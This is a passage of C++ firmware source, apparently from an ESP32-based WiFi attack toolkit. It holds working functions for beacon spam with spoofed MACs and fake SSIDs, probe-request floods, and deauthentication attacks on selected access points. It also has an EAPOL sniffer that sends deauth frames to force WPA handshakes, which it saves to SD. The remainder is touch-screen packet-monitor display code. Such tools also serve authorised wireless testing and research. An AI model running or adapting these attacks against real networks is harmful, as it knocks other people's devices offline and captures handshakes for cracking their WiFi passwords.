  2033. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  2034. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  2035. // Add everything that goes after the SSID
  2036. //for(int i = 0; i < 12; i++)
  2037. // packet[38 + fullLen + i] = postSSID[i];
  2038. packet[34] = custom_ssid.beacon->get(0);
  2039. packet[35] = custom_ssid.beacon->get(1);
  2040. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2041. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2042. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2043. packets_sent = packets_sent + 3;
  2044. }
  2045. void WiFiScan::broadcastCustomBeacon(uint32_t current_time, ssid custom_ssid) {
  2046. set_channel = random(1,12);
  2047. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2048. delay(1);
  2049. // Randomize SRC MAC
  2050. packet[10] = packet[16] = custom_ssid.bssid[0];
  2051. packet[11] = packet[17] = custom_ssid.bssid[1];
  2052. packet[12] = packet[18] = custom_ssid.bssid[2];
  2053. packet[13] = packet[19] = custom_ssid.bssid[3];
  2054. packet[14] = packet[20] = custom_ssid.bssid[4];
  2055. packet[15] = packet[21] = custom_ssid.bssid[5];
  2056. char ESSID[custom_ssid.essid.length() + 1] = {};
  2057. custom_ssid.essid.toCharArray(ESSID, custom_ssid.essid.length() + 1);
  2058. int ssidLen = strlen(ESSID);
  2059. //int rand_len = sizeof(rand_reg);
  2060. int fullLen = ssidLen;
  2061. packet[37] = fullLen;
  2062. // Insert my tag
  2063. for(int i = 0; i < ssidLen; i++)
  2064. packet[38 + i] = ESSID[i];
  2065. /////////////////////////////
  2066. packet[50 + fullLen] = set_channel;
  2067. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  2068. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  2069. // Add everything that goes after the SSID
  2070. for(int i = 0; i < 12; i++)
  2071. packet[38 + fullLen + i] = postSSID[i];
  2072. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2073. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2074. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2075. packets_sent = packets_sent + 3;
  2076. }
  2077. // Function to send beacons with random ESSID length
  2078. void WiFiScan::broadcastSetSSID(uint32_t current_time, char* ESSID) {
  2079. set_channel = random(1,12);
  2080. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2081. delay(1);
  2082. // Randomize SRC MAC
  2083. packet[10] = packet[16] = random(256);
  2084. packet[11] = packet[17] = random(256);
  2085. packet[12] = packet[18] = random(256);
  2086. packet[13] = packet[19] = random(256);
  2087. packet[14] = packet[20] = random(256);
  2088. packet[15] = packet[21] = random(256);
  2089. int ssidLen = strlen(ESSID);
  2090. //int rand_len = sizeof(rand_reg);
  2091. int fullLen = ssidLen;
  2092. packet[37] = fullLen;
  2093. // Insert my tag
  2094. for(int i = 0; i < ssidLen; i++)
  2095. packet[38 + i] = ESSID[i];
  2096. /////////////////////////////
  2097. packet[50 + fullLen] = set_channel;
  2098. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  2099. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  2100. // Add everything that goes after the SSID
  2101. for(int i = 0; i < 12; i++)
  2102. packet[38 + fullLen + i] = postSSID[i];
  2103. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2104. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2105. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2106. packets_sent = packets_sent + 3;
  2107. }
  2108. // Function for sending crafted beacon frames
  2109. void WiFiScan::broadcastRandomSSID(uint32_t currentTime) {
  2110. set_channel = random(1,12);
  2111. esp_wifi_set_channel(set_channel, WIFI_SECOND_CHAN_NONE);
  2112. delay(1);
  2113. // Randomize SRC MAC
  2114. packet[10] = packet[16] = random(256);
  2115. packet[11] = packet[17] = random(256);
  2116. packet[12] = packet[18] = random(256);
  2117. packet[13] = packet[19] = random(256);
  2118. packet[14] = packet[20] = random(256);
  2119. packet[15] = packet[21] = random(256);
  2120. packet[37] = 6;
  2121. // Randomize SSID (Fixed size 6. Lazy right?)
  2122. packet[38] = alfa[random(65)];
  2123. packet[39] = alfa[random(65)];
  2124. packet[40] = alfa[random(65)];
  2125. packet[41] = alfa[random(65)];
  2126. packet[42] = alfa[random(65)];
  2127. packet[43] = alfa[random(65)];
  2128. packet[56] = set_channel;
  2129. uint8_t postSSID[13] = {0x01, 0x08, 0x82, 0x84, 0x8b, 0x96, 0x24, 0x30, 0x48, 0x6c, //supported rate
  2130. 0x03, 0x01, 0x04 /*DSSS (Current Channel)*/ };
  2131. // Add everything that goes after the SSID
  2132. for(int i = 0; i < 12; i++)
  2133. packet[38 + 6 + i] = postSSID[i];
  2134. esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false);
  2135. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  2136. //ESP_ERROR_CHECK(esp_wifi_80211_tx(WIFI_IF_AP, packet, sizeof(packet), false));
  2137. packets_sent = packets_sent + 3;
  2138. }
  2139. // Function to send probe flood to all "active" access points
  2140. void WiFiScan::sendProbeAttack(uint32_t currentTime) {
  2141. // Itterate through all access points in list
  2142. for (int i = 0; i < access_points->size(); i++) {
  2143. // Check if active
  2144. if (access_points->get(i).selected) {
  2145. this->set_channel = access_points->get(i).channel;
  2146. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2147. delay(1);
  2148. // Build packet
  2149. // Randomize SRC MAC
  2150. prob_req_packet[10] = random(256);
  2151. prob_req_packet[11] = random(256);
  2152. prob_req_packet[12] = random(256);
  2153. prob_req_packet[13] = random(256);
  2154. prob_req_packet[14] = random(256);
  2155. prob_req_packet[15] = random(256);
  2156. // Set SSID length
  2157. int ssidLen = access_points->get(i).essid.length();
  2158. //int rand_len = sizeof(rand_reg);
  2159. int fullLen = ssidLen;
  2160. prob_req_packet[25] = fullLen;
  2161. // Insert ESSID
  2162. char buf[access_points->get(i).essid.length() + 1] = {};
  2163. access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
  2164. for(int i = 0; i < ssidLen; i++)
  2165. prob_req_packet[26 + i] = buf[i];
  2166. /*
  2167. * 0x01, 0x08, 0x8c, 0x12, 0x18, 0x24,
  2168. 0x30, 0x48, 0x60, 0x6c, 0x2d, 0x1a,
  2169. 0xad, 0x01, 0x17, 0xff, 0xff, 0x00,
  2170. 0x00, 0x7e, 0x00, 0x00, 0x00, 0x00,
  2171. 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  2172. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2173. 0x00, 0x00
  2174. */
  2175. uint8_t postSSID[40] = {0x00, 0x00, 0x01, 0x08, 0x8c, 0x12,
  2176. 0x18, 0x24, 0x30, 0x48, 0x60, 0x6c,
  2177. 0x2d, 0x1a, 0xad, 0x01, 0x17, 0xff,
  2178. 0xff, 0x00, 0x00, 0x7e, 0x00, 0x00,
  2179. 0x00, 0x00, 0x00, 0x00, 0x00, 0x01,
  2180. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2181. 0x00, 0x00, 0x00, 0x00};
  2182. uint8_t good_probe_req_packet[26 + fullLen + 40] = {};
  2183. for (int i = 0; i < 26 + fullLen; i++)
  2184. good_probe_req_packet[i] = prob_req_packet[i];
  2185. for(int i = 0; i < 40; i++)
  2186. good_probe_req_packet[26 + fullLen + i] = postSSID[i];
  2187. // Send packet
  2188. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2189. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2190. esp_wifi_80211_tx(WIFI_IF_AP, good_probe_req_packet, sizeof(good_probe_req_packet), false);
  2191. packets_sent = packets_sent + 3;
  2192. }
  2193. }
  2194. }
  2195. void WiFiScan::sendDeauthFrame(uint8_t bssid[6], int channel, String dst_mac_str) {
  2196. // Itterate through all access points in list
  2197. // Check if active
  2198. WiFiScan::set_channel = channel;
  2199. esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE);
  2200. delay(1);
  2201. // Build packet
  2202. sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
  2203. &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
  2204. deauth_frame_default[10] = bssid[0];
  2205. deauth_frame_default[11] = bssid[1];
  2206. deauth_frame_default[12] = bssid[2];
  2207. deauth_frame_default[13] = bssid[3];
  2208. deauth_frame_default[14] = bssid[4];
  2209. deauth_frame_default[15] = bssid[5];
  2210. deauth_frame_default[16] = bssid[0];
  2211. deauth_frame_default[17] = bssid[1];
  2212. deauth_frame_default[18] = bssid[2];
  2213. deauth_frame_default[19] = bssid[3];
  2214. deauth_frame_default[20] = bssid[4];
  2215. deauth_frame_default[21] = bssid[5];
  2216. // Send packet
  2217. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2218. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2219. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2220. packets_sent = packets_sent + 3;
  2221. }
  2222. void WiFiScan::sendDeauthAttack(uint32_t currentTime, String dst_mac_str) {
  2223. // Itterate through all access points in list
  2224. for (int i = 0; i < access_points->size(); i++) {
  2225. // Check if active
  2226. if (access_points->get(i).selected) {
  2227. this->set_channel = access_points->get(i).channel;
  2228. esp_wifi_set_channel(this->set_channel, WIFI_SECOND_CHAN_NONE);
  2229. delay(1);
  2230. // Build packet
  2231. sscanf(dst_mac_str.c_str(), "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
  2232. &deauth_frame_default[4], &deauth_frame_default[5], &deauth_frame_default[6], &deauth_frame_default[7], &deauth_frame_default[8], &deauth_frame_default[9]);
  2233. deauth_frame_default[10] = access_points->get(i).bssid[0];
  2234. deauth_frame_default[11] = access_points->get(i).bssid[1];
  2235. deauth_frame_default[12] = access_points->get(i).bssid[2];
  2236. deauth_frame_default[13] = access_points->get(i).bssid[3];
  2237. deauth_frame_default[14] = access_points->get(i).bssid[4];
  2238. deauth_frame_default[15] = access_points->get(i).bssid[5];
  2239. deauth_frame_default[16] = access_points->get(i).bssid[0];
  2240. deauth_frame_default[17] = access_points->get(i).bssid[1];
  2241. deauth_frame_default[18] = access_points->get(i).bssid[2];
  2242. deauth_frame_default[19] = access_points->get(i).bssid[3];
  2243. deauth_frame_default[20] = access_points->get(i).bssid[4];
  2244. deauth_frame_default[21] = access_points->get(i).bssid[5];
  2245. // Send packet
  2246. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2247. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2248. esp_wifi_80211_tx(WIFI_IF_AP, deauth_frame_default, sizeof(deauth_frame_default), false);
  2249. packets_sent = packets_sent + 3;
  2250. }
  2251. }
  2252. }
  2253. void WiFiScan::wifiSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2254. {
  2255. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2256. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2257. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2258. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2259. int len = snifferPacket->rx_ctrl.sig_len;
  2260. String display_string = "";
  2261. #ifdef HAS_SCREEN
  2262. int buff = display_obj.display_buffer->size();
  2263. #else
  2264. int buff = 0;
  2265. #endif
  2266. if (type == WIFI_PKT_MGMT)
  2267. {
  2268. len -= 4;
  2269. int fctl = ntohs(frameControl->fctl);
  2270. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2271. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2272. // If we dont the buffer size is not 0, don't write or else we get CORRUPT_HEAP
  2273. #ifndef MARAUDER_MINI
  2274. if (snifferPacket->payload[0] == 0x80)
  2275. {
  2276. num_beacon++;
  2277. }
  2278. else if ((snifferPacket->payload[0] == 0xA0 || snifferPacket->payload[0] == 0xC0 ))
  2279. {
  2280. num_deauth++;
  2281. }
  2282. else if (snifferPacket->payload[0] == 0x40)
  2283. {
  2284. num_probe++;
  2285. }
  2286. #endif
  2287. char addr[] = "00:00:00:00:00:00";
  2288. getMAC(addr, snifferPacket->payload, 10);
  2289. display_string.concat(addr);
  2290. int temp_len = display_string.length();
  2291. #ifdef HAS_SCREEN
  2292. for (int i = 0; i < 40 - temp_len; i++)
  2293. {
  2294. display_string.concat(" ");
  2295. }
  2296. //Serial.print(" ");
  2297. #ifdef MARAUDER_MINI
  2298. if (display_obj.display_buffer->size() == 0)
  2299. {
  2300. display_obj.loading = true;
  2301. display_obj.display_buffer->add(display_string);
  2302. display_obj.loading = false;
  2303. }
  2304. #endif
  2305. #endif
  2306. if (save_packet)
  2307. sd_obj.addPacket(snifferPacket->payload, len);
  2308. }
  2309. }
  2310. void WiFiScan::eapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2311. {
  2312. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2313. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2314. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2315. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2316. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2317. int len = snifferPacket->rx_ctrl.sig_len;
  2318. String display_string = "";
  2319. if (type == WIFI_PKT_MGMT)
  2320. {
  2321. len -= 4;
  2322. int fctl = ntohs(frameControl->fctl);
  2323. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2324. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2325. }
  2326. #ifdef HAS_SCREEN
  2327. int buff = display_obj.display_buffer->size();
  2328. #else
  2329. int buff = 0;
  2330. #endif
  2331. // Found beacon frame. Decide whether to deauth
  2332. if (send_deauth) {
  2333. if (snifferPacket->payload[0] == 0x80) {
  2334. // Build packet
  2335. uint8_t new_packet[26] = {
  2336. 0xc0, 0x00, 0x3a, 0x01,
  2337. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2338. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2339. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2340. 0xf0, 0xff, 0x02, 0x00
  2341. };
  2342. new_packet[10] = snifferPacket->payload[10];
  2343. new_packet[11] = snifferPacket->payload[11];
  2344. new_packet[12] = snifferPacket->payload[12];
  2345. new_packet[13] = snifferPacket->payload[13];
  2346. new_packet[14] = snifferPacket->payload[14];
  2347. new_packet[15] = snifferPacket->payload[15];
  2348. new_packet[16] = snifferPacket->payload[10];
  2349. new_packet[17] = snifferPacket->payload[11];
  2350. new_packet[18] = snifferPacket->payload[12];
  2351. new_packet[19] = snifferPacket->payload[13];
  2352. new_packet[20] = snifferPacket->payload[14];
  2353. new_packet[21] = snifferPacket->payload[15];
  2354. // Send packet
  2355. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2356. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2357. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2358. delay(1);
  2359. }
  2360. }
  2361. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2362. num_eapol++;
  2363. Serial.println("Received EAPOL:");
  2364. char addr[] = "00:00:00:00:00:00";
  2365. getMAC(addr, snifferPacket->payload, 10);
  2366. display_string.concat(addr);
  2367. int temp_len = display_string.length();
  2368. #ifdef HAS_SCREEN
  2369. for (int i = 0; i < 40 - temp_len; i++)
  2370. {
  2371. display_string.concat(" ");
  2372. }
  2373. Serial.print(" ");
  2374. #ifdef MARAUDER_MINI
  2375. if (display_obj.display_buffer->size() == 0)
  2376. {
  2377. display_obj.loading = true;
  2378. display_obj.display_buffer->add(display_string);
  2379. display_obj.loading = false;
  2380. }
  2381. #endif
  2382. #endif
  2383. // for (int i = 0; i < len; i++) {
  2384. // char hexCar[4];
  2385. // sprintf(hexCar, "%02X", snifferPacket->payload[i]);
  2386. // Serial.print(hexCar);
  2387. //Serial.print(snifferPacket->payload[i], HEX);
  2388. // if ((i + 1) % 16 == 0)
  2389. // Serial.print("\n");
  2390. // else
  2391. // Serial.print(" ");
  2392. // }
  2393. // Serial.print("\n");
  2394. }
  2395. if (save_packet)
  2396. sd_obj.addPacket(snifferPacket->payload, len);
  2397. }
  2398. void WiFiScan::activeEapolSnifferCallback(void* buf, wifi_promiscuous_pkt_type_t type)
  2399. {
  2400. bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
  2401. bool send_deauth = settings_obj.loadSetting<bool>(text_table4[5]);
  2402. wifi_promiscuous_pkt_t *snifferPacket = (wifi_promiscuous_pkt_t*)buf;
  2403. WifiMgmtHdr *frameControl = (WifiMgmtHdr*)snifferPacket->payload;
  2404. wifi_pkt_rx_ctrl_t ctrl = (wifi_pkt_rx_ctrl_t)snifferPacket->rx_ctrl;
  2405. int len = snifferPacket->rx_ctrl.sig_len;
  2406. if (type == WIFI_PKT_MGMT)
  2407. {
  2408. len -= 4;
  2409. int fctl = ntohs(frameControl->fctl);
  2410. const wifi_ieee80211_packet_t *ipkt = (wifi_ieee80211_packet_t *)snifferPacket->payload;
  2411. const WifiMgmtHdr *hdr = &ipkt->hdr;
  2412. }
  2413. // Found beacon frame. Decide whether to deauth
  2414. if (snifferPacket->payload[0] == 0x80) {
  2415. // Build packet
  2416. //Serial.println("Recieved beacon frame");
  2417. uint8_t new_packet[26] = {
  2418. 0xc0, 0x00, 0x3a, 0x01,
  2419. 0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
  2420. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2421. 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  2422. 0xf0, 0xff, 0x02, 0x00
  2423. };
  2424. new_packet[10] = snifferPacket->payload[10];
  2425. new_packet[11] = snifferPacket->payload[11];
  2426. new_packet[12] = snifferPacket->payload[12];
  2427. new_packet[13] = snifferPacket->payload[13];
  2428. new_packet[14] = snifferPacket->payload[14];
  2429. new_packet[15] = snifferPacket->payload[15];
  2430. new_packet[16] = snifferPacket->payload[10];
  2431. new_packet[17] = snifferPacket->payload[11];
  2432. new_packet[18] = snifferPacket->payload[12];
  2433. new_packet[19] = snifferPacket->payload[13];
  2434. new_packet[20] = snifferPacket->payload[14];
  2435. new_packet[21] = snifferPacket->payload[15];
  2436. // Send packet
  2437. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2438. //esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2439. esp_wifi_80211_tx(WIFI_IF_AP, new_packet, sizeof(new_packet), false);
  2440. delay(1);
  2441. }
  2442. if (( (snifferPacket->payload[30] == 0x88 && snifferPacket->payload[31] == 0x8e)|| ( snifferPacket->payload[32] == 0x88 && snifferPacket->payload[33] == 0x8e) )){
  2443. num_eapol++;
  2444. Serial.println("Received EAPOL:");
  2445. // for (int i = 0; i < len; i++) {
  2446. // char hexCar[3];
  2447. // snprintf(hexCar, 3, "%02X", snifferPacket->payload[i]);
  2448. // Serial.print(hexCar);
  2449. //Serial.print(snifferPacket->payload[i], HEX);
  2450. // if ((i + 1) % 16 == 0)
  2451. // Serial.print("\n");
  2452. // else
  2453. // Serial.print(" ");
  2454. // }
  2455. // Serial.print("\n");
  2456. }
  2457. if (save_packet)
  2458. sd_obj.addPacket(snifferPacket->payload, len);
  2459. }
  2460. #ifdef HAS_SCREEN
  2461. void WiFiScan::eapolMonitorMain(uint32_t currentTime)
  2462. {
  2463. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2464. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2465. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2466. {
  2467. currentTime = millis();
  2468. do_break = false;
  2469. y_pos_x = 0;
  2470. y_pos_y = 0;
  2471. y_pos_z = 0;
  2472. boolean pressed = false;
  2473. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2474. // Do the touch stuff
  2475. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2476. if (pressed) {
  2477. Serial.print("Got touch | X: ");
  2478. Serial.print(t_x);
  2479. Serial.print(" Y: ");
  2480. Serial.println(t_y);
  2481. }
  2482. // Check buttons for presses
  2483. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2484. {
  2485. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2486. {
  2487. display_obj.key[b].press(true);
  2488. } else {
  2489. display_obj.key[b].press(false);
  2490. }
  2491. }
  2492. // Which buttons pressed
  2493. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2494. {
  2495. if (display_obj.key[b].justPressed())
  2496. {
  2497. Serial.println("Bro, key pressed");
  2498. //do_break = true;
  2499. }
  2500. if (display_obj.key[b].justReleased())
  2501. {
  2502. do_break = true;
  2503. // Channel - button pressed
  2504. if (b == 4) {
  2505. if (set_channel > 1) {
  2506. Serial.println("Shit channel down");
  2507. set_channel--;
  2508. delay(70);
  2509. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2510. //display_obj.tftDrawXScaleButtons(x_scale);
  2511. //display_obj.tftDrawYScaleButtons(y_scale);
  2512. display_obj.tftDrawChannelScaleButtons(set_channel);
  2513. display_obj.tftDrawExitScaleButtons();
  2514. changeChannel();
  2515. break;
  2516. }
  2517. }
  2518. // Channel + button pressed
  2519. else if (b == 5) {
  2520. if (set_channel < MAX_CHANNEL) {
  2521. Serial.println("Shit channel up");
  2522. set_channel++;
  2523. delay(70);
  2524. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2525. //display_obj.tftDrawXScaleButtons(x_scale);
  2526. //display_obj.tftDrawYScaleButtons(y_scale);
  2527. display_obj.tftDrawChannelScaleButtons(set_channel);
  2528. display_obj.tftDrawExitScaleButtons();
  2529. changeChannel();
  2530. break;
  2531. }
  2532. }
  2533. else if (b == 6) {
  2534. Serial.println("Exiting packet monitor...");
  2535. this->StartScan(WIFI_SCAN_OFF);
  2536. //display_obj.tft.init();
  2537. this->orient_display = true;
  2538. return;
  2539. }
  2540. }
  2541. }
  2542. if (currentTime - initTime >= (GRAPH_REFRESH * 5)) {
  2543. //Serial.println("-----------------------------------------");
  2544. //Serial.println("Time elapsed: " + (String)(currentTime - initTime) + "ms");
  2545. x_pos += x_scale;
  2546. initTime = millis();
  2547. y_pos_x = ((-num_eapol * (y_scale * 3)) + (HEIGHT_1 - 2)); // GREEN
  2548. if (y_pos_x >= HEIGHT_1) {
  2549. Serial.println("Max EAPOL number reached. Adjusting...");
  2550. num_eapol = 0;
  2551. }
  2552. //y_pos_y = ((-num_deauth * (y_scale * 3)) + (HEIGHT_1 - 2)); // RED
  2553. //y_pos_z = ((-num_probe * (y_scale * 3)) + (HEIGHT_1 - 2)); // BLUE
  2554. //Serial.println("num_beacon: " + (String)num_beacon);
  2555. //Serial.println("num_deauth: " + (String)num_deauth);
  2556. //Serial.println(" num_probe: " + (String)num_probe);
  2557. //num_beacon = 0;
  2558. //num_probe = 0;
  2559. //num_deauth = 0;
  2560. //CODE FOR PLOTTING CONTINUOUS LINES!!!!!!!!!!!!
  2561. //Plot "X" value
  2562. display_obj.tft.drawLine(x_pos - x_scale, y_pos_x_old, x_pos, y_pos_x, TFT_CYAN);
  2563. //Plot "Z" value
  2564. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_z_old, x_pos, y_pos_z, TFT_BLUE);
  2565. //Plot "Y" value
  2566. //display_obj.tft.drawLine(x_pos - x_scale, y_pos_y_old, x_pos, y_pos_y, TFT_RED);
  2567. //Draw preceding black 'boxes' to erase old plot lines, !!!WEIRD CODE TO COMPENSATE FOR BUTTONS AND COLOR KEY SO 'ERASER' DOESN'T ERASE BUTTONS AND COLOR KEY!!!
  2568. //if ((x_pos <= 90) || ((x_pos >= 198) && (x_pos <= 320))) //above x axis
  2569. if ((x_pos <= 90) || ((x_pos >= 117) && (x_pos <= 320))) //above x axis
  2570. {
  2571. display_obj.tft.fillRect(x_pos+1, 28, 10, 93, TFT_BLACK); //compensate for buttons!
  2572. }
  2573. else
  2574. {
  2575. display_obj.tft.fillRect(x_pos+1, 0, 10, 121, TFT_BLACK); //don't compensate for buttons!
  2576. }
  2577. //if ((x_pos >= 254) && (x_pos <= 320)) //below x axis
  2578. //if (x_pos <= 90)
  2579. if (x_pos < 0) // below x axis
  2580. {
  2581. //tft.fillRect(x_pos+1, 121, 10, 88, TFT_BLACK);
  2582. display_obj.tft.fillRect(x_pos+1, 121, 10, 88, TFT_CYAN);
  2583. }
  2584. else
  2585. {
  2586. //tft.fillRect(x_pos+1, 121, 10, 119, TFT_BLACK);
  2587. display_obj.tft.fillRect(x_pos+1, 121, 10, 118, TFT_BLACK);
  2588. }
  2589. //tftDisplayTime();
  2590. if ( (y_pos_x == 120) || (y_pos_y == 120) || (y_pos_z == 120) )
  2591. {
  2592. display_obj.tft.drawFastHLine(10, 120, 310, TFT_WHITE); // x axis
  2593. }
  2594. y_pos_x_old = y_pos_x; //set old y pos values to current y pos values
  2595. //y_pos_y_old = y_pos_y;
  2596. //y_pos_z_old = y_pos_z;
  2597. //delay(50);
  2598. }
  2599. sd_obj.main();
  2600. }
  2601. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK); //erase XY buttons and any lines behind them
  2602. display_obj.tft.fillRect(12, 0, 90, 32, TFT_BLACK); // key
  2603. display_obj.tftDrawChannelScaleButtons(set_channel);
  2604. display_obj.tftDrawExitScaleButtons();
  2605. display_obj.tftDrawEapolColorKey();
  2606. display_obj.tftDrawGraphObjects(x_scale);
  2607. }
  2608. void WiFiScan::packetMonitorMain(uint32_t currentTime)
  2609. {
  2610. //---------MAIN 'FOR' LOOP! THIS IS WHERE ALL THE ACTION HAPPENS! HAS TO BE FAST!!!!!---------\\
  2611. // for (x_pos = (11 + x_scale); x_pos <= 320; x_pos += x_scale) //go along every point on the x axis and do something, start over when finished
  2612. for (x_pos = (11 + x_scale); x_pos <= 320; x_pos = x_pos)
  2613. {
  2614. currentTime = millis();
  2615. do_break = false;
  2616. y_pos_x = 0;
  2617. y_pos_y = 0;
  2618. y_pos_z = 0;
  2619. boolean pressed = false;
  2620. uint16_t t_x = 0, t_y = 0; // To store the touch coordinates
  2621. // Do the touch stuff
  2622. pressed = display_obj.tft.getTouch(&t_x, &t_y);
  2623. if (pressed) {
  2624. Serial.print("Got touch | X: ");
  2625. Serial.print(t_x);
  2626. Serial.print(" Y: ");
  2627. Serial.println(t_y);
  2628. }
  2629. // Check buttons for presses
  2630. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2631. {
  2632. if (pressed && display_obj.key[b].contains(t_x, t_y))
  2633. {
  2634. display_obj.key[b].press(true);
  2635. } else {
  2636. display_obj.key[b].press(false);
  2637. }
  2638. }
  2639. // Which buttons pressed
  2640. for (uint8_t b = 0; b < BUTTON_ARRAY_LEN; b++)
  2641. {
  2642. if (display_obj.key[b].justPressed())
  2643. {
  2644. Serial.println("Bro, key pressed");
  2645. //do_break = true;
  2646. }
  2647. if (display_obj.key[b].justReleased())
  2648. {
  2649. do_break = true;
  2650. // X - button pressed
  2651. if (b == 0) {
  2652. if (x_scale > 1) {
  2653. x_scale--;
  2654. delay(70);
  2655. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2656. display_obj.tftDrawXScaleButtons(x_scale);
  2657. display_obj.tftDrawYScaleButtons(y_scale);
  2658. display_obj.tftDrawChannelScaleButtons(set_channel);
  2659. display_obj.tftDrawExitScaleButtons();
  2660. break;
  2661. }
  2662. }
  2663. // X + button pressed
  2664. else if (b == 1) {
  2665. if (x_scale < 6) {
  2666. x_scale++;
  2667. delay(70);
  2668. display_obj.tft.fillRect(127, 0, 193, 28, TFT_BLACK);
  2669. display_obj.tftDrawXScaleButtons(x_scale);
  2670. display_obj.tftDrawYScaleButtons(y_scale);
  2671. display_obj.tftDrawChannelScaleButtons(set_channel);
  2672. display_obj.tftDrawExitScaleButtons();
  2673. break;
  2674. }
  2675. }
  2676. // Y - button pressed
  2677. else if (b == 2) {
